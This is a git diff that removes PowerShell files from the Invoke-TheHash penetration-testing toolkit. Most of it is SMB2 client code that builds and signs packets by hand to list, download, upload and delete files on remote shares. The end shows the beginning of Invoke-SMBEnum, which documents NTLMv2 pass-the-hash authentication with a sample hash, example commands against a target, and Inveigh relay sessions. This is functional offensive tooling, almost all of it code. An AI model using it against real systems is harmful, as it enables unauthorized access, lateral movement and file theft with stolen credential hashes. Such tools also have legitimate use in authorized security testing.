($SMB2_data.Length + $SMB2b_data.Length) - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB2_sign = $SMB2b_header + $SMB2b_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2b_header["Signature"] = $SMB2_signature - $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header - } - - $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB2b_header + $SMB2b_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if($Action -eq 'Get' -and $action_step -eq 1) - { - $find_response = [System.BitConverter]::ToString($client_receive) - $find_response = $find_response -replace "-","" - $file_unicode = [System.BitConverter]::ToString([System.Text.Encoding]::Unicode.GetBytes($source_file)) - $file_unicode = $file_unicode -replace "-","" - $file_size_index = $find_response.IndexOf($file_unicode) - 128 - $file_size = [System.BitConverter]::ToUInt32($client_receive[($file_size_index / 2)..($file_size_index / 2 + 7)],0) - $action_step++ - $create_request_extra_info = 1 - $stage = 'CreateRequest' - - if($share_subdirectory -eq $file) - { - $file = [System.Text.Encoding]::Unicode.GetBytes($file) - } - else - { - $file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory) - } - - } - else - { - $stage = 'ParseDirectoryContents' - } - - } - - 'IoctlRequest' - { - $tree_ID = 0x01,0x00,0x00,0x00 - $ioctl_path = "\" + $Target + "\" + $Share - $ioctl_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($ioctl_path) + 0x00,0x00 - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SMB2_data = New-PacketSMB2IoctlRequest $ioctl_path_bytes - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - - $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - $tree_ID = 0x00,0x00,0x00,0x00 - $stage = 'TreeConnect' - } - - 'Logoff' - { - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x02,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SMB2_data = New-PacketSMB2SessionLogoffRequest - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - - $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - $stage = 'Exit' - } - - 'ParseDirectoryContents' - { - $subdirectory_list = New-Object System.Collections.ArrayList - $create_response_file = [System.BitConverter]::ToString($client_receive) - $create_response_file = $create_response_file -replace "-","" - $directory_contents_mode_list = New-Object System.Collections.ArrayList - $directory_contents_create_time_list = New-Object System.Collections.ArrayList - $directory_contents_last_write_time_list = New-Object System.Collections.ArrayList - $directory_contents_length_list = New-Object System.Collections.ArrayList - $directory_contents_name_list = New-Object System.Collections.ArrayList - - if($directory_list.Count -gt 0) - { - $create_response_file_index = 152 - $directory_list.RemoveAt(0) > $null - } - else - { - $create_response_file_index = $create_response_file.Substring(10).IndexOf("FE534D42") + 154 - } - - do - { - $SMB_next_offset = [System.BitConverter]::ToUInt32($client_receive[($create_response_file_index / 2 + $SMB_offset)..($create_response_file_index / 2 + 3 + $SMB_offset)],0) - $SMB_file_length = [System.BitConverter]::ToUInt32($client_receive[($create_response_file_index / 2 + 40 + $SMB_offset)..($create_response_file_index / 2 + 47 + $SMB_offset)],0) - $SMB_file_attributes = [Convert]::ToString($client_receive[($create_response_file_index / 2 + 56 + $SMB_offset)],2).PadLeft(16,'0') - - if($SMB_file_length -eq 0) - { - $SMB_file_length = $null - } - - if($SMB_file_attributes.Substring(11,1) -eq '1') - { - $SMB_file_mode = "d" - } - else - { - $SMB_file_mode = "-" - } - - if($SMB_file_attributes.Substring(10,1) -eq '1') - { - $SMB_file_mode+= "a" - } - else - { - $SMB_file_mode+= "-" - } - - if($SMB_file_attributes.Substring(15,1) -eq '1') - { - $SMB_file_mode+= "r" - } - else - { - $SMB_file_mode+= "-" - } - - if($SMB_file_attributes.Substring(14,1) -eq '1') - { - $SMB_file_mode+= "h" - } - else - { - $SMB_file_mode+= "-" - } - - if($SMB_file_attributes.Substring(13,1) -eq '1') - { - $SMB_file_mode+= "s" - } - else - { - $SMB_file_mode+= "-" - } - - $file_create_time = [Datetime]::FromFileTime([System.BitConverter]::ToInt64($client_receive[($create_response_file_index / 2 + 8 + $SMB_offset)..($create_response_file_index / 2 + 15 + $SMB_offset)],0)) - $file_create_time = Get-Date $file_create_time -format 'M/d/yyyy h:mm tt' - $file_last_write_time = [Datetime]::FromFileTime([System.BitConverter]::ToInt64($client_receive[($create_response_file_index / 2 + 24 + $SMB_offset)..($create_response_file_index / 2 + 31 + $SMB_offset)],0)) - $file_last_write_time = Get-Date $file_last_write_time -format 'M/d/yyyy h:mm tt' - $SMB_filename_length = [System.BitConverter]::ToUInt32($client_receive[($create_response_file_index / 2 + 60 + $SMB_offset)..($create_response_file_index / 2 + 63 + $SMB_offset)],0) - $SMB_filename_unicode = $client_receive[($create_response_file_index / 2 + 104 + $SMB_offset)..($create_response_file_index / 2 + 104 + $SMB_offset + $SMB_filename_length - 1)] - $SMB_filename = [System.BitConverter]::ToString($SMB_filename_unicode) - $SMB_filename = $SMB_filename -replace "-00","" - - if($SMB_filename.Length -gt 2) - { - $SMB_filename = $SMB_filename.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_filename_extract = New-Object System.String ($SMB_filename,0,$SMB_filename.Length) - } - else - { - $SMB_filename_extract = [String][Char][System.Convert]::ToInt16($SMB_filename,16) - } - - if(!$Modify) - { - $file_last_write_time = $file_last_write_time.PadLeft(19,0) - [String]$SMB_file_length = $SMB_file_length - $SMB_file_length = $SMB_file_length.PadLeft(15,0) - } - - if($SMB_file_attributes.Substring(11,1) -eq '1') - { - - if($SMB_filename_extract -ne '.' -and $SMB_filename_extract -ne '..') - { - $subdirectory_list.Add($SMB_filename_unicode) > $null - $directory_contents_name_list.Add($SMB_filename_extract) > $null - $directory_contents_mode_list.Add($SMB_file_mode) > $null - $directory_contents_length_list.Add($SMB_file_length) > $null - $directory_contents_last_write_time_list.Add($file_last_write_time) > $null - $directory_contents_create_time_list.Add($file_create_time) > $null - } - - } - else - { - $directory_contents_name_list.Add($SMB_filename_extract) > $null - $directory_contents_mode_list.Add($SMB_file_mode) > $null - $directory_contents_length_list.Add($SMB_file_length) > $null - $directory_contents_last_write_time_list.Add($file_last_write_time) > $null - $directory_contents_create_time_list.Add($file_create_time) > $null - } - - if($share_subdirectory -and !$share_subdirectory_start) - { - $root_directory_string = $share_subdirectory + '\' - } - - $SMB_offset += $SMB_next_offset - } - until($SMB_next_offset -eq 0) - - if($directory_contents_name_list) - { - - if($root_directory_string) - { - $file_directory = $target_share + "\" + $root_directory_string.Substring(0,$root_directory_string.Length - 1) - } - else - { - $file_directory = $target_share - } - - } - - $directory_contents_output = @() - $i = 0 - - ForEach($directory in $directory_contents_name_list) - { - $directory_object = New-Object PSObject - Add-Member -InputObject $directory_object -MemberType NoteProperty -Name Name -Value ($file_directory + "\" + $directory_contents_name_list[$i]) - Add-Member -InputObject $directory_object -MemberType NoteProperty -Name Mode -Value $directory_contents_mode_list[$i] - Add-Member -InputObject $directory_object -MemberType NoteProperty -Name Length -Value $directory_contents_length_list[$i] - - if($Modify) - { - Add-Member -InputObject $directory_object -MemberType NoteProperty -Name CreateTime -Value $directory_contents_create_time_list[$i] - } - - Add-Member -InputObject $directory_object -MemberType NoteProperty -Name LastWriteTime -Value $directory_contents_last_write_time_list[$i] - $directory_contents_output += $directory_object - $i++ - } - - if($directory_contents_output -and !$Modify) - { - - if($directory_contents_hide_headers) - { - ($directory_contents_output | Format-Table -Property @{ Name="Mode"; Expression={$_.Mode }; Alignment="left"; }, - @{ Name="LastWriteTime"; Expression={$_.LastWriteTime }; Alignment="right"; }, - @{ Name="Length"; Expression={$_.Length }; Alignment="right"; }, - @{ Name="Name"; Expression={$_.Name }; Alignment="left"; } -AutoSize -HideTableHeaders -Wrap| Out-String).Trim() - } - else - { - $directory_contents_hide_headers = $true - ($directory_contents_output | Format-Table -Property @{ Name="Mode"; Expression={$_.Mode }; Alignment="left"; }, - @{ Name="LastWriteTime"; Expression={$_.LastWriteTime }; Alignment="right"; }, - @{ Name="Length"; Expression={$_.Length }; Alignment="right"; }, - @{ Name="Name"; Expression={$_.Name }; Alignment="left"; } -AutoSize -Wrap| Out-String).Trim() - } - - } - else - { - $directory_contents_output - } - - $subdirectory_list.Reverse() > $null - - ForEach($subdirectory in $subdirectory_list) - { - $directory_list.Insert(0,($root_directory + $subdirectory)) > $null - } - - $SMB_offset = 0 - $stage = 'CloseRequest' - } - - 'QueryInfoRequest' - { - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x10,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SMB2_header["NextCommand"] = $header_next_command - $packet_SMB2_data = New-PacketSMB2QueryInfoRequest $query_info_request_info_type_1 $query_info_request_file_info_class_1 $query_info_request_output_buffer_length_1 $query_info_request_input_buffer_offset_1 $SMB_file_ID $query_info_request_buffer_1 - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - - $message_ID++ - $packet_SMB2b_header = New-PacketSMB2Header 0x10,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - - if($SMB_signing) - { - $packet_SMB2b_header["Flags"] = 0x0c,0x00,0x00,0x00 - } - else - { - $packet_SMB2b_header["Flags"] = 0x04,0x00,0x00,0x00 - } - - $packet_SMB2b_data = New-PacketSMB2QueryInfoRequest $query_info_request_info_type_2 $query_info_request_file_info_class_2 $query_info_request_output_buffer_length_2 $query_info_request_input_buffer_offset_2 $SMB_file_ID $query_info_request_buffer_2 - $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header - $SMB2b_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService ($SMB2_header.Length + $SMB2b_header.Length) ($SMB2_data.Length + $SMB2b_data.Length) - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB2_sign = $SMB2b_header + $SMB2b_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2b_header["Signature"] = $SMB2_signature - $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header - } - - $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB2b_header + $SMB2b_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if($share_subdirectory_start) - { - $file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory) - $root_directory = $file + 0x5c,0x00 - $create_request_extra_info = 1 - $stage = 'CreateRequest' - } - elseif($Action -eq 'Get') - { - - switch($action_step) - { - - 5 - { - $query_info_response = [System.BitConverter]::ToString($client_receive) - $query_info_response = $query_info_response -replace "-","" - $file_stream_size_index = $query_info_response.Substring(10).IndexOf("FE534D42") + 170 - $file_stream_size = [System.BitConverter]::ToUInt32($client_receive[($file_stream_size_index / 2)..($file_stream_size_index / 2 + 8)],0) - $file_stream_size_quotient = [Math]::Truncate($file_stream_size / 65536) - $file_stream_size_remainder = $file_stream_size % 65536 - $percent_complete = $file_stream_size_quotient - - if($file_stream_size_remainder -ne 0) - { - $percent_complete++ - } - - if($file_stream_size -lt 1024) - { - $progress_file_size = "" + $file_stream_size + "B" - } - elseif($file_stream_size -lt 1024000) - { - $progress_file_size = "" + ($file_stream_size / 1024).ToString('.00') + "KB" - } - else - { - $progress_file_size = "" + ($file_stream_size / 1024000).ToString('.00') + "MB" - } - - $header_next_command = 0x70,0x00,0x00,0x00 - $query_info_request_info_type_1 = 0x02 - $query_info_request_file_info_class_1 = 0x01 - $query_info_request_output_buffer_length_1 = 0x58,0x00,0x00,0x00 - $query_info_request_input_buffer_offset_1 = 0x00,0x00 - $query_info_request_buffer_1 = 8 - $query_info_request_info_type_2 = 0x02 - $query_info_request_file_info_class_2 = 0x05 - $query_info_request_output_buffer_length_2 = 0x50,0x00,0x00,0x00 - $query_info_request_input_buffer_offset_2 = 0x00,0x00 - $query_info_request_buffer_2 = 1 - $action_step++ - $stage = 'QueryInfoRequest' - } - - 6 - { - - if($file_stream_size -lt 65536) - { - $read_request_length = $file_stream_size - } - else - { - $read_request_length = 65536 - } - - $read_request_offset = 0 - $read_request_step = 1 - $action_step++ - $stage = 'ReadRequest' - } - - } - } - elseif($Action -eq 'Put') - { - $percent_complete = $source_file_size_quotient - - if($source_file_size_remainder -ne 0) - { - $percent_complete++ - } - - if($source_file_size -lt 1024) - { - $progress_file_size = "" + $source_file_size + "B" - } - elseif($source_file_size -lt 1024000) - { - $progress_file_size = "" + ($source_file_size / 1024).ToString('.00') + "KB" - } - else - { - $progress_file_size = "" + ($source_file_size / 1024000).ToString('.00') + "MB" - } - - $action_step++ - $set_info_request_file_info_class = 0x01 - $set_info_request_info_level = 0x14 - $set_info_request_buffer = [System.BitConverter]::GetBytes($source_file_size) - $stage = 'SetInfoRequest' - } - elseif($Action -eq 'Delete') - { - $stage = 'CreateRequest' - } - else - { - $stage = 'CreateRequestFindRequest' - } - - } - - 'ReadRequest' - { - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x08,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SMB2_data = New-PacketSMB2ReadRequest $read_request_length $read_request_offset $SMB_file_ID - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - - $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - Start-Sleep -m 5 - - if($read_request_length -eq 65536) - { - $i = 0 - - while($client.Available -lt 8192 -and $i -lt 10) - { - Start-Sleep -m $Sleep - $i++ - } - - } - else - { - Start-Sleep -m $Sleep - } - - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if($Action -eq 'Get' -and $action_step -eq 3) - { - $action_step++ - $create_request_extra_info = 1 - $stage = 'CreateRequest' - } - elseif($Action -eq 'Get' -and $action_step -eq 7) - { - - if(!$NoProgress) - { - $percent_complete_calculation = [Math]::Truncate($read_request_step / $percent_complete * 100) - Write-Progress -Activity "Downloading $source_file - $progress_file_size" -Status "$percent_complete_calculation% Complete:" -PercentComplete $percent_complete_calculation - } - - $file_bytes = $client_receive[84..($read_request_length + 83)] - - if(!$Modify) - { - - if(!$file_write) - { - $file_write = New-Object 'System.IO.FileStream' $destination_path,'Append','Write','Read' - } - - $file_write.Write($file_bytes,0,$file_bytes.Count) - } - else - { - $file_memory.AddRange($file_bytes) - } - - if($read_request_step -lt $file_stream_size_quotient) - { - $read_request_offset+=65536 - $read_request_step++ - $stage = 'ReadRequest' - } - elseif($read_request_step -eq $file_stream_size_quotient -and $file_stream_size_remainder -ne 0) - { - $read_request_length = $file_stream_size_remainder - $read_request_offset+=65536 - $read_request_step++ - $stage = 'ReadRequest' - } - else - { - - if(!$Modify) - { - $file_write.Close() - } - else - { - $file_memory.ToArray() - } - - $output_message = "[+] File downloaded" - $stage = 'CloseRequest' - } - - } - elseif([System.BitConverter]::ToString($client_receive[12..15]) -ne '03-01-00-00') - { - $stage = 'CloseRequest' - } - else - { - $stage = 'CloseRequest' - } - - } - - 'SetInfoRequest' - { - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x11,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SMB2_data = New-PacketSMB2SetInfoRequest $set_info_request_file_info_class $set_info_request_info_level $SMB_file_ID $set_info_request_buffer - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - - $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if($source_file_size -le 65536) - { - $write_request_length = $source_file_size - } - else - { - $write_request_length = 65536 - } - - $write_request_offset = 0 - $write_request_step = 1 - - if($Action -eq 'Delete') - { - $output_message = "[+] File deleted" - $stage = 'CloseRequest' - $action_step++ - } - elseif($Action -eq 'Put' -and $action_step -eq 4) - { - $output_message = "[+] File uploaded" - $stage = 'CloseRequest' - } - else - { - $stage = 'WriteRequest' - } - - } - - 'TreeConnect' - { - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x03,0x00 0x1f,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SMB2_data = New-PacketSMB2TreeConnectRequest $path_bytes - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - - $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - - try - { - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - } - catch - { - Write-Output "[-] Session connection is closed" - $stage = 'Exit' - } - - if($stage -ne 'Exit') - { - - if([System.BitConverter]::ToString($client_receive[12..15]) -ne '00-00-00-00') - { - $error_code = [System.BitConverter]::ToString($client_receive[12..15]) - - switch($error_code) - { - - 'cc-00-00-c0' - { - $output_message = "[-] Share not found" - $stage = 'Exit' - } - - '22-00-00-c0' - { - $output_message = "[-] Access denied" - $stage = 'Exit' - } - - default - { - $error_code = $error_code -replace "-","" - $output_message = "[-] Tree connect error code 0x$error_code" - $stage = 'Exit' - } - - } - - } - elseif($refresh) - { - Write-Output "[+] Session refreshed" - $stage = 'Exit' - } - elseif(!$SMB_IPC) - { - $SMB_share_path = "\\" + $Target + "\" + $Share - $path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_share_path) - $SMB_IPC = $true - $stage = 'IoctlRequest' - } - else - { - - if($Action -eq 'Put') - { - $file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory) - $create_request_extra_info = 2 - } - else - { - $create_request_extra_info = 1 - } - - $tree_ID = $client_receive[40..43] - $stage = 'CreateRequest' - - if($Action -eq 'Get') - { - $file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory) - } - - } - - } - - } - - 'TreeDisconnect' - { - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x04,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SMB2_data = New-PacketSMB2TreeDisconnectRequest - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - - $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if($inveigh_session -and !$Logoff) - { - $stage = 'Exit' - } - else - { - $stage = 'Logoff' - } - - } - - 'WriteRequest' - { - - if(!$Modify) - { - $source_file_binary_reader.BaseStream.Seek($write_request_offset,"Begin") > $null - $source_file_binary_reader.Read($source_file_buffer,0,$source_file_buffer_size) > $null - } - else - { - $source_file_buffer = $Source[$write_request_offset..($write_request_offset+$write_request_length)] - } - - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SMB2_header["CreditCharge"] = 0x01,0x00 - $packet_SMB2_data = New-PacketSMB2WriteRequest $write_request_length $write_request_offset $SMB_file_ID $source_file_buffer - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - - $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if($write_request_step -lt $source_file_size_quotient) - { - - if(!$NoProgress) - { - $percent_complete_calculation = [Math]::Truncate($write_request_step / $percent_complete * 100) - Write-Progress -Activity "[*] Uploading $source_file - $progress_file_size" -Status "$percent_complete_calculation% Complete:" -PercentComplete $percent_complete_calculation - } - - $write_request_offset+=65536 - $write_request_step++ - $stage = 'WriteRequest' - } - elseif($write_request_step -eq $source_file_size_quotient -and $source_file_size_remainder -ne 0) - { - $write_request_length = $source_file_size_remainder - $write_request_offset+=65536 - $write_request_step++ - $stage = 'WriteRequest' - } - else - { - $action_step++ - $set_info_request_file_info_class = 0x01 - $set_info_request_info_level = 0x04 - $set_info_request_buffer = $source_file_creation_time + - $source_file_last_access_time + - $source_file_last_write_time + - $source_file_last_change_time + - 0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x00 - - if(!$Modify) - { - $stage = 'SetInfoRequest' - } - else - { - $output_message = "[+] File uploaded from memory" - $stage = 'CloseRequest' - } - - } - - } - - } - - } - - } - - } - catch - { - $error_message = $_.Exception.Message - $error_message = $error_message -replace "`n","" - Write-Output "[-] $error_message" - } - finally - { - - if($file_write.Handle) - { - $file_write.Close() - } - - if($source_file_stream.Handle) - { - $source_file_binary_reader.Close() - $source_file_stream.Close() - } - - if($inveigh_session -and $Inveigh) - { - $inveigh.session_lock_table[$session] = 'open' - $inveigh.session_message_ID_table[$session] = $message_ID - $inveigh.session_list[$session] | Where-Object {$_."Last Activity" = Get-Date -format s} - } - - if(!$inveigh_session -or $Logoff) - { - $client.Close() - $client_stream.Close() - } - - } - -} - - if(!$Modify -or $Action -eq 'Put') - { - Write-Output $output_message - } - elseif($output_message) - { - Write-Verbose $output_message - } - -}
\ No newline at end of file diff --git a/Invoke-SMBEnum.ps1 b/Invoke-SMBEnum.ps1 deleted file mode 100644 index 0616632..0000000 --- a/Invoke-SMBEnum.ps1 +++ /dev/null @@ -1,3333 +0,0 @@ -function Invoke-SMBEnum -{ -<# -.SYNOPSIS -Invoke-SMBEnum performs enumeration tasks over SMB with NTLMv2 pass the hash authentication. Invoke-SMBEnum -supports SMB2 with and without SMB signing. - -Author: Kevin Robertson (@kevin_robertson) -License: BSD 3-Clause - -.PARAMETER Target -Hostname or IP address of target. - -.PARAMETER Username -Username to use for authentication. - -.PARAMETER Domain -Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the -username. - -.PARAMETER Hash -NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format. - -.PARAMETER Action -(All,Group,NetSession,Share,User) Default = Share: Enumeration action to perform. - -.PARAMETER Group -Default = Administrators: Group to enumerate. - -.PARAMETER Sleep -Default = 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try tweaking this -setting if you are experiencing strange results. - -.PARAMETER Session -Inveigh-Relay authenticated session. - -.PARAMETER SigningCheck -(Switch) Checks to see if SMB signing is required on a target. - -.EXAMPLE -List shares. -Invoke-SMBEnum -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 - -.EXAMPLE -List NetSessions. -Invoke-SMBEnum -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action NetSession - -.EXAMPLE -List local users using an authenticated Inveigh-Relay session. -Invoke-SMBEnum -Session 1 -Action User - -.EXAMPLE -Check if SMB signing is required. -Invoke-SMBEnum -Target 192.168.100.20 -SigningCheck - -.LINK -https://github.com/Kevin-Robertson/Invoke-TheHash - -#> -[CmdletBinding(DefaultParametersetName='Default')] -param -( - [parameter(ParameterSetName='Default',Mandatory=$true)][String]$Target, - [parameter(ParameterSetName='Default',Mandatory=$true)][String]$Username, - [parameter(ParameterSetName='Default',Mandatory=$false)][String]$Domain, - [parameter(Mandatory=$false)][ValidateSet("All","NetSession","Share","User","Group")][String]$Action = "All", - [parameter(ParameterSetName='Default',Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash, - [parameter(Mandatory=$false)][String]$Service, - [parameter(Mandatory=$false)][String]$Group = "Administrators", - [parameter(ParameterSetName='Default',Mandatory=$false)][Switch]$SigningCheck, - [parameter(ParameterSetName='Session',Mandatory=$false)][Int]$Session, - [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Logoff, - [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Refresh, - [parameter(Mandatory=$false)][Int]$Sleep=150 -) - -function ConvertFrom-PacketOrderedDictionary -{ - param($OrderedDictionary) - - ForEach($field in $OrderedDictionary.Values) - { - $byte_array += $field - } - - return $byte_array -} - -#NetBIOS - -function New-PacketNetBIOSSessionService -{ - param([Int]$HeaderLength,[Int]$DataLength) - - [Byte[]]$length = ([System.BitConverter]::GetBytes($HeaderLength + $DataLength))[2..0] - - $NetBIOSSessionService = New-Object 